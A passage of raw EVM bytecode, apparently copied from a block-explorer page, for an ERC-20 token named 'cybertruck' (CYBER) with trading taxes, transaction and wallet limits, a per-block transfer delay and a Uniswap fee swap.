ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116b4575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611707575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117c157600f54821115611751576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174890612cf1565b60405180910390fd5b6010548261175e85610729565b6117689190612d0f565b11156117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090612d8c565b60405180910390fd5b600e5f8154809291906117bb90612daa565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561184957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561188d5761188a606461187c600c54600e54116118695760085461186d565b600a545b85611f5f90919063ffffffff16565b611fd690919063ffffffff16565b90505b5f61189730610729565b9050601460169054906101000a900460ff16158015611902575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561191a5750601460179054906101000a900460ff165b8015611927575060115481115b80156119365750600d54600e54115b15611977576119586119538461194e8460125461201f565b61201f565b611c8b565b5f47905066b1a2bc2ec500008111156119755761197447611ef6565b5b505b505b5f811115611a78576119d18160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a6f91906122f9565b60405180910390a35b611ac88260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461209490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b6b611b1f828461209490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c0e848661209490919063ffffffff16565b604051611c1b91906122f9565b60405180910390a350505050565b5f838311158290611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6791906121c8565b60405180910390fd5b505f8385611c7e9190612df1565b9050809150509392505050565b6001601460166101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611cc257611cc1612e24565b5b604051908082528060200260200182016040528015611cf05781602001602082028036833780820191505090505b50905030815f81518110611d0757611d06612e51565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dcf919061275a565b81600181518110611de357611de2612e51565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e493060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ea565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611eab959493929190612f35565b5f604051808303815f87803b158015611ec2575f80fd5b505af1158015611ed4573d5f803e3d5ffd5b50505050505f601460166101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f5b573d5f803e3d5ffd5b5050565b5f808303611f6f575f9050611fd0565b5f8284611f7c91906125cd565b9050828482611f8b9190612fba565b14611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc29061305a565b60405180910390fd5b809150505b92915050565b5f61201783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120dd565b905092915050565b5f81831161202d578261202f565b815b905092915050565b5f8082846120459190612d0f565b90508381101561208a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612081906130c2565b60405180910390fd5b8091505092915050565b5f6120d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c29565b905092915050565b5f8083118290612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211a91906121c8565b60405180910390fd5b505f83856121319190612fba565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561217557808201518184015260208101905061215a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61219a8261213e565b6121a48185612148565b93506121b4818560208601612158565b6121bd81612180565b840191505092915050565b5f6020820190508181035f8301526121e08184612190565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612215826121ec565b9050919050565b6122258161220b565b811461222f575f80fd5b50565b5f813590506122408161221c565b92915050565b5f819050919050565b61225881612246565b8114612262575f80fd5b50565b5f813590506122738161224f565b92915050565b5f806040838503121561228f5761228e6121e8565b5b5f61229c85828601612232565b92505060206122ad85828601612265565b9150509250929050565b5f8115159050919050565b6122cb816122b7565b82525050565b5f6020820190506122e45f8301846122c2565b92915050565b6122f381612246565b82525050565b5f60208201905061230c5f8301846122ea565b92915050565b5f805f60608486031215612329576123286121e8565b5b5f61233686828701612232565b935050602061234786828701612232565b925050604061235886828701612265565b9150509250925092565b5f60ff82169050919050565b61237781612362565b82525050565b5f6020820190506123905f83018461236e565b92915050565b5f602082840312156123ab576123aa6121e8565b5b5f6123b884828501612232565b91505092915050565b6123ca8161220b565b82525050565b5f6020820190506123e35f8301846123c1565b92915050565b5f80604083850312156123ff576123fe6121e8565b5b5f61240c85828601612232565b925050602061241d85828601612232565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156124a95780860481111561248557612484612427565b5b60018516156124945780820291505b80810290506124a285612454565b9450612469565b94509492505050565b5f826124c1576001905061257c565b816124ce575f905061257c565b81600181146124e457600281146124ee5761251d565b600191505061257c565b60ff841115612500576124ff612427565b5b8360020a91508482111561251757612516612427565b5b5061257c565b5060208310610133831016604e8410600b84101617156125525782820a90508381111561254d5761254c612427565b5b61257c565b61255f8484846001612460565b9250905081840481111561257657612575612427565b5b81810290505b9392505050565b5f61258d82612246565b915061259883612362565b92506125c57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846124b2565b905092915050565b5f6125d782612246565b91506125e283612246565b92508282026125f081612246565b9150828204841483151761260757612606612427565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612642602083612148565b915061264d8261260e565b602082019050919050565b5f6020820190508181035f83015261266f81612636565b9050919050565b7f4c696d697473206861766520616c7265616479206265656e2072656d6f7665645f82015250565b5f6126aa602083612148565b91506126b582612676565b602082019050919050565b5f6020820190508181035f8301526126d78161269e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f612712601783612148565b915061271d826126de565b602082019050919050565b5f6020820190508181035f83015261273f81612706565b9050919050565b5f815190506127548161221c565b92915050565b5f6020828403121561276f5761276e6121e8565b5b5f61277c84828501612746565b91505092915050565b5f6040820190506127985f8301856123c1565b6127a560208301846123c1565b9392505050565b5f819050919050565b5f819050919050565b5f6127d86127d36127ce846127ac565b6127b5565b612246565b9050919050565b6127e8816127be565b82525050565b5f60c0820190506128015f8301896123c1565b61280e60208301886122ea565b61281b60408301876127df565b61282860608301866127df565b61283560808301856123c1565b61284260a08301846122ea565b979650505050505050565b5f8151905061285b8161224f565b92915050565b5f805f60608486031215612878576128776121e8565b5b5f6128858682870161284d565b93505060206128968682870161284d565b92505060406128a78682870161284d565b9150509250925092565b5f6040820190506128c45f8301856123c1565b6128d160208301846122ea565b9392505050565b6128e1816122b7565b81146128eb575f80fd5b50565b5f815190506128fc816128d8565b92915050565b5f60208284031215612917576129166121e8565b5b5f612924848285016128ee565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612987602483612148565b91506129928261292d565b604082019050919050565b5f6020820190508181035f8301526129b48161297b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612a15602283612148565b9150612a20826129bb565b604082019050919050565b5f6020820190508181035f830152612a4281612a09565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612aa3602583612148565b9150612aae82612a49565b604082019050919050565b5f6020820190508181035f830152612ad081612a97565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612b31602383612148565b9150612b3c82612ad7565b604082019050919050565b5f6020820190508181035f830152612b5e81612b25565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612bbf602983612148565b9150612bca82612b65565b604082019050919050565b5f6020820190508181035f830152612bec81612bb3565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b5f612c73604983612148565b9150612c7e82612bf3565b606082019050919050565b5f6020820190508181035f830152612ca081612c67565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612cdb601983612148565b9150612ce682612ca7565b602082019050919050565b5f6020820190508181035f830152612d0881612ccf565b9050919050565b5f612d1982612246565b9150612d2483612246565b9250828201905080821115612d3c57612d3b612427565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f612d76601a83612148565b9150612d8182612d42565b602082019050919050565b5f6020820190508181035f830152612da381612d6a565b9050919050565b5f612db482612246565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612de657612de5612427565b5b600182019050919050565b5f612dfb82612246565b9150612e0683612246565b9250828203905081811115612e1e57612e1d612427565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b612eb08161220b565b82525050565b5f612ec18383612ea7565b60208301905092915050565b5f602082019050919050565b5f612ee382612e7e565b612eed8185612e88565b9350612ef883612e98565b805f5b83811015612f28578151612f0f8882612eb6565b9750612f1a83612ecd565b925050600181019050612efb565b5085935050505092915050565b5f60a082019050612f485f8301886122ea565b612f5560208301876127df565b8181036040830152612f678186612ed9565b9050612f7660608301856123c1565b612f8360808301846122ea565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612fc482612246565b9150612fcf83612246565b925082612fdf57612fde612f8d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613044602183612148565b915061304f82612fea565b604082019050919050565b5f6020820190508181035f83015261307181613038565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6130ac601b83612148565b91506130b782613078565b602082019050919050565b5f6020820190508181035f8301526130d9816130a0565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a87432142eebdea846fae3850ccbb52d4d1a098a49ccf1b31902a2cdfe3f7a9264736f6c63430008150033

Deployed Bytecode

0x608060405260043610610143575f3560e01c8063751039fc116100b5578063a9059cbb1161006e578063a9059cbb14610410578063bf474bed1461044c578063c876d0b914610476578063c9567bf9146104a0578063dd62ed3e146104b6578063ffb54a99146104f25761014a565b8063751039fc1461032a5780637d1db4a5146103405780638da5cb5b1461036a5780638f9a55c01461039457806395d89b41146103be578063a5f2a152146103e85761014a565b806323b872dd1161010757806323b872dd14610232578063313ce5671461026e57806351bc3c851461029857806370a08231146102ae578063715018a6146102ea578063728f8eea146103005761014a565b806306fdde031461014e578063095ea7b3146101785780630faee56f146101b457806318160ddd146101de5780631d6f9655146102085761014a565b3661014a57005b5f80fd5b348015610159575f80fd5b5061016261051c565b60405161016f91906121c8565b60405180910390f35b348015610183575f80fd5b5061019e60048036038101906101999190612279565b610559565b6040516101ab91906122d1565b60405180910390f35b3480156101bf575f80fd5b506101c8610576565b6040516101d591906122f9565b60405180910390f35b3480156101e9575f80fd5b506101f261057c565b6040516101ff91906122f9565b60405180910390f35b348015610213575f80fd5b5061021c61059f565b60405161022991906122d1565b60405180910390f35b34801561023d575f80fd5b5061025860048036038101906102539190612312565b6105b5565b60405161026591906122d1565b60405180910390f35b348015610279575f80fd5b50610282610689565b60405161028f919061237d565b60405180910390f35b3480156102a3575f80fd5b506102ac610691565b005b3480156102b9575f80fd5b506102d460048036038101906102cf9190612396565b610729565b6040516102e191906122f9565b60405180910390f35b3480156102f5575f80fd5b506102fe61076f565b005b34801561030b575f80fd5b506103146108bd565b60405161032191906122f9565b60405180910390f35b348015610335575f80fd5b5061033e6108c6565b005b34801561034b575f80fd5b50610354610a79565b60405161036191906122f9565b60405180910390f35b348015610375575f80fd5b5061037e610a7f565b60405161038b91906123d0565b60405180910390f35b34801561039f575f80fd5b506103a8610aa6565b6040516103b591906122f9565b60405180910390f35b3480156103c9575f80fd5b506103d2610aac565b6040516103df91906121c8565b60405180910390f35b3480156103f3575f80fd5b5061040e60048036038101906104099190612312565b610ae9565b005b34801561041b575f80fd5b5061043660048036038101906104319190612279565b610af9565b60405161044391906122d1565b60405180910390f35b348015610457575f80fd5b50610460610b16565b60405161046d91906122f9565b60405180910390f35b348015610481575f80fd5b5061048a610b1c565b60405161049791906122d1565b60405180910390f35b3480156104ab575f80fd5b506104b4610b2e565b005b3480156104c1575f80fd5b506104dc60048036038101906104d791906123e9565b61104d565b6040516104e991906122f9565b60405180910390f35b3480156104fd575f80fd5b506105066110cf565b60405161051391906122d1565b60405180910390f35b60606040518060400160405280600a81526020017f6379626572747275636b00000000000000000000000000000000000000000000815250905090565b5f61056c6105656110e3565b84846110ea565b6001905092915050565b60125481565b5f6009600a61058b9190612583565b6305f5e10061059a91906125cd565b905090565b5f601460159054906101000a900460ff16905090565b5f6105c18484846112ad565b61067e846105cd6110e3565b610679856040518060600160405280602881526020016130e16028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6106306110e3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611c299092919063ffffffff16565b6110ea565b600190509392505050565b5f6009905090565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d26110e3565b73ffffffffffffffffffffffffffffffffffffffff16146106f1575f80fd5b5f6106fb30610729565b90505f81111561070f5761070e81611c8b565b5b5f4790505f8111156107255761072481611ef6565b5b5050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6107776110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610803576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fa90612658565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f600954905090565b6108ce6110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461095a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095190612658565b60405180910390fd5b601460159054906101000a900460ff16156109aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a1906126c0565b60405180910390fd5b6009600a6109b89190612583565b6305f5e1006109c791906125cd565b600f819055506009600a6109db9190612583565b6305f5e1006109ea91906125cd565b6010819055505f60065f6101000a81548160ff0219169083151502179055506001601460156101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a539190612583565b6305f5e100610a6291906125cd565b604051610a6f91906122f9565b60405180910390a1565b600f5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60105481565b60606040518060400160405280600581526020017f4359424552000000000000000000000000000000000000000000000000000000815250905090565b610af48383836112ad565b505050565b5f610b0c610b056110e3565b84846112ad565b6001905092915050565b60115481565b60065f9054906101000a900460ff1681565b610b366110e3565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb990612658565b60405180910390fd5b60148054906101000a900460ff1615610c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0790612728565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cac3060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c989190612583565b6305f5e100610ca791906125cd565b6110ea565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d16573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d3a919061275a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610de4919061275a565b6040518363ffffffff1660e01b8152600401610e01929190612785565b6020604051808303815f875af1158015610e1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e41919061275a565b60145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ec830610729565b5f80610ed2610a7f565b426040518863ffffffff1660e01b8152600401610ef4969594939291906127ee565b60606040518083038185885af1158015610f10573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610f359190612861565b50505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610fd59291906128b1565b6020604051808303815f875af1158015610ff1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906110159190612902565b506001601460176101000a81548160ff02191690831515021790555060016014806101000a81548160ff021916908315150217905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f60148054906101000a900460ff16905090565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611158576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114f9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bd90612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112a091906122f9565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361131b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131290612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612b47565b60405180910390fd5b5f81116113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290612bd5565b60405180910390fd5b5f6113d4610a7f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114425750611412610a7f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611979576114836064611475600b54600e541161146257600754611466565b6009545b85611f5f90919063ffffffff16565b611fd690919063ffffffff16565b905060065f9054906101000a900460ff161561160b5760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611543575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561160a574360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106115c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115be90612c89565b60405180910390fd5b4360055f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116b4575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611707575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156117c157600f54821115611751576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174890612cf1565b60405180910390fd5b6010548261175e85610729565b6117689190612d0f565b11156117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090612d8c565b60405180910390fd5b600e5f8154809291906117bb90612daa565b91905055505b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561184957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561188d5761188a606461187c600c54600e54116118695760085461186d565b600a545b85611f5f90919063ffffffff16565b611fd690919063ffffffff16565b90505b5f61189730610729565b9050601460169054906101000a900460ff16158015611902575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561191a5750601460179054906101000a900460ff165b8015611927575060115481115b80156119365750600d54600e54115b15611977576119586119538461194e8460125461201f565b61201f565b611c8b565b5f47905066b1a2bc2ec500008111156119755761197447611ef6565b5b505b505b5f811115611a78576119d18160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203790919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611a6f91906122f9565b60405180910390a35b611ac88260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461209490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611b6b611b1f828461209490919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461203790919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611c0e848661209490919063ffffffff16565b604051611c1b91906122f9565b60405180910390a350505050565b5f838311158290611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6791906121c8565b60405180910390fd5b505f8385611c7e9190612df1565b9050809150509392505050565b6001601460166101000a81548160ff0219169083151502179055505f600267ffffffffffffffff811115611cc257611cc1612e24565b5b604051908082528060200260200182016040528015611cf05781602001602082028036833780820191505090505b50905030815f81518110611d0757611d06612e51565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611dab573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611dcf919061275a565b81600181518110611de357611de2612e51565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611e493060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846110ea565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b8152600401611eab959493929190612f35565b5f604051808303815f87803b158015611ec2575f80fd5b505af1158015611ed4573d5f803e3d5ffd5b50505050505f601460166101000a81548160ff02191690831515021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015611f5b573d5f803e3d5ffd5b5050565b5f808303611f6f575f9050611fd0565b5f8284611f7c91906125cd565b9050828482611f8b9190612fba565b14611fcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc29061305a565b60405180910390fd5b809150505b92915050565b5f61201783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120dd565b905092915050565b5f81831161202d578261202f565b815b905092915050565b5f8082846120459190612d0f565b90508381101561208a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612081906130c2565b60405180910390fd5b8091505092915050565b5f6120d583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c29565b905092915050565b5f8083118290612123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211a91906121c8565b60405180910390fd5b505f83856121319190612fba565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561217557808201518184015260208101905061215a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61219a8261213e565b6121a48185612148565b93506121b4818560208601612158565b6121bd81612180565b840191505092915050565b5f6020820190508181035f8301526121e08184612190565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612215826121ec565b9050919050565b6122258161220b565b811461222f575f80fd5b50565b5f813590506122408161221c565b92915050565b5f819050919050565b61225881612246565b8114612262575f80fd5b50565b5f813590506122738161224f565b92915050565b5f806040838503121561228f5761228e6121e8565b5b5f61229c85828601612232565b92505060206122ad85828601612265565b9150509250929050565b5f8115159050919050565b6122cb816122b7565b82525050565b5f6020820190506122e45f8301846122c2565b92915050565b6122f381612246565b82525050565b5f60208201905061230c5f8301846122ea565b92915050565b5f805f60608486031215612329576123286121e8565b5b5f61233686828701612232565b935050602061234786828701612232565b925050604061235886828701612265565b9150509250925092565b5f60ff82169050919050565b61237781612362565b82525050565b5f6020820190506123905f83018461236e565b92915050565b